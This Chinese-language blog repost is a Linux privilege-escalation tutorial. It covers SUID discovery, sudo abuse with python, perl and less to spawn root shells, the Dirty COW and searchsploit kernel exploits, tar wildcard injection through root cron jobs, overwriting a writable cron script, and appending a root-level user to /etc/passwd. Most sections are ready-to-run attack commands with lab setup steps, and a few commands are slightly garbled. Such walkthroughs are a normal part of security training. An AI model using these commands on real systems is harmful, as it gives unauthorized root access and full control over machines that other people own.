随笔 - 20  文章 - 0  评论 - 0  阅读 - 2872

Linux提权

一、SUID提权

SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。为可执行文件添加suid权限的目的是简化操作流程,让普通用户也能做一些高权限才能做的的工作。但是如果某些现有的二进制文件和实用程序具有SUID权限的话,就可以在执行时将权限提升为root。
原理:
SUID提权的原理与Linux进程的UID有关,进程在运行的时候有以下三个UID:
1.Real UID:执行该进程的用户的UID。Real UID只用于标识用户,不用于权限检查。
2.Effective UID(EUID):进程执行时生效的UID。在对访问目标进行操作时,系统会检查EUID是否有权限。一般情况下,Real UID与EUID相同,但在运行设置了SUID权限的程序时,进程的EUID会被设置为程序文件属主的UID。
3.Saved UID:在高权限用户降权后,保留的UID。
如果某个设置了SUID权限的程序运行后创建了shell,那么shell进程的EUID也会是这个程序文件属主的UID,如果属主为root,便是一个root shell。root shell中运行的程序的EUID也都是0,具备超级权限,于是便实现了提权。

命令:find / -perm -4000 -type f 2>/dev/null find / -perm -u=s
-perm -4000:查找权限为“4000”的文件,其中“4000”是表示suid权限的数字。
-type f:查找类型为文件的结果,而不是目录或其他类型的文件。

find / -perm -4000 -type f -exec ls -l {} \;:这个命令与第一个命令类似,但使用了-exec选项,它将在查找到具有suid权限的文件后,执行一个ls -l命令,以查看这些文件的详细信息。在-exec选项中,{}表示查找到的每个文件的名称,\;表示命令结束的标记。

二、sudo提权

普通用户一般无法使用root用户命令,使用sudo命令可以让普通用户拥有root权限,但是一般都需要输入用户的密码。管理员为了运营方便可能会对sudoer文件进行不合理的配置,使普通用户不需要输入密码就可以使用sudo命令,从而导致权限提升的问题产生。
1.python语言提权
1.1 环境搭建
创建一个普通用户user1

useradd user1

vim /etc/sudoers,添加以下语句,使得用sudo执行python命令时不需要密码

user1 ALL=(root) NOPASSWD:usr/bin/python

1.2 提权
提权命令如下:

sudo python -c 'import pty;pty.spawn("/bin/bash")'

2.利用perl语言提权
2.1环境搭建
同上

user1 ALL=(root) NOPASSWD:ALL

2.2 提权

sudo perl -e 'exec "/bin/bash";'

3.利用less命令提权
通过命令 “sudo less 文件” 提权

sudo less /etc/hosts

在弹出的页面输入!bash,按下回车键,输入whoami查询,提权成功

三、内核漏洞提权

利用内核漏洞提取一般三个环节:
首先对目标系统进行信息收集,获取系统内核信息及版本信息
第二步,根据内核版本获取对应的漏洞以及exp
第三步,使用exp对目标进行攻击,完成提权
脏牛内核漏洞提权的原理:
在Linux内核的内存子系统处理私有只读内存映射的写时复制损坏的方式中发现了一种竞争状况,一个没有特权的本地用户可以利用此漏洞获取对只读存储器映射的写访问权,从而增加他在系统上的特权
Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,所以有可能进一步导致提权漏洞。

1.常规内核提权
查看linux内核版本:uname -a
使用searchsploit搜索对应exp,并下载c文件进行编译:

searchsploit ubuntu 4.4.0
searchsploit -m linux/local/45010.cgcc 45010.c -o 45010 #编译

2.脏牛提权
Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞
影响版本:Linux kernel >= 2.6.22(2007年发行,到2016年10月18日才修复)

uname -a  #查看内核版本
cd CVE-2016-5195-master/make   #编译生成可执行文件
./dcow -s  #执行exp,成功返回root shell

四、Cronjobs提权

  1. 通配符提权
    1.1 环境搭建
    vim /etc/crontab,为root用户添加一个计划任务
root /usr/local/bin/test2.sh

并进入/usr/local/bin目录下,vim test2.sh ,添加以下命令

cd /home/ubuntu;tar czf /tmp/backup.tar.gz *

赋予test2.sh执行权限,查看计划任务是否设置成功
1.2 提权
查看定时任务,发现一个以root权限执行的任务test2.sh,查看test2.sh,发现任务的工作为每分钟执行将/home/ubuntu下的所有内容打包为backup.tar.gz并放置在/tmp目录下(通配符*代表目录下的所有文件)。

cat /etc/crontab  #查看定时任务

在/home/ubuntu目录下创建三个文件:

echo "cp /bin/bash /tmp/bash;chmod +s /tmp/bash" > test.sh
echo "" > --checkpoint=1
echo "" > "--checkpoint-action=exec=sh test.sh"

当定时任务触发后,使用了通配符*对整个文件夹进行打包,系统真正执行打包时,将目录下的文件一个一个传参给通配符执行打包操作,而在打包–checkpoint=1和–checkpoint-action=exec=sh test.sh时相当于执行如下命令:

tar czf /tmp/backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh test.sh

而–checkpoint和–checkpoint-action正好时tar的参数,此处会被当作参数执行而非文件名打包。–checkpoint-action=exec=sh test.sh为执行test.sh文件,test.sh文件内容为复制bash到tmp目录并赋予suid,即可达到提权的目的:
2.文件重写提权
由于管理员对定时文件权限错误分配而导致普通用户具有写权限,从而达到提权。
普通用户查看定时任务,发现datetest.sh为777权限而且为root用户:
普通用户可在datetest.sh中写入命令,将bash复制到tmp并赋予suid:

"cp /bin/bash /tmp/bash;chmod +s /tmp/bash" >> /usr/local/bin/datetest.sh

执行获取root权限:

五、环境变量提权

PATH是Linux和类Unix操作系统中的环境变量,它指定可执行程序的所有bin和sbin存储目录。当用户在终端上运行任何命令时,它会向shell发送请求以在PATH变量中搜索可执行文件来响应用户执行的命令。

echo $PATH   #查看环境变量

六、/etc/passwd 提权

1.环境搭建
给/etc/passwd文件赋予读写权限
2.提权
使用perl语言生成密码盐值

perl -le 'print crypt("password@123", "addedsalt")'

将用户名和密码写入/etc/passwd文件中

echo "test:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash" >>/etc/passwd

登录test用户,输入密码password@123,成功提权
其他生成密码盐值的方法:

#利用openssl生成加密的密码, 语法:openssl passwd-1-salt[salt value]password
openssl passwd -1 -salt user3 pass123
 
#mkpasswd类似于openssl passwd,它将生成指定密码字符串的哈希值。
mkpasswd -m SHA-512 pass
 
#利用python中的crypt库生成
python -c 'import crypt; print crypt.crypt("pass", "$6$salt")'
 
#利用Perl和crypt来使用salt值为我们的密码生成哈希值
perl -le 'print crypt("pass123", "abc")'
 
#php语言
php -r "print(crypt('aarti','123') . " ");"

转自:https://blog.csdn.net/qq_59102311/article/details/138559914

posted on   m0userathxy  阅读(179)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· DeepSeek 开源周回顾「GitHub 热点速览」
< 2025年3月 >
23 24 25 26 27 28 1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30 31 1 2 3 4 5

点击右上角即可分享
微信分享提示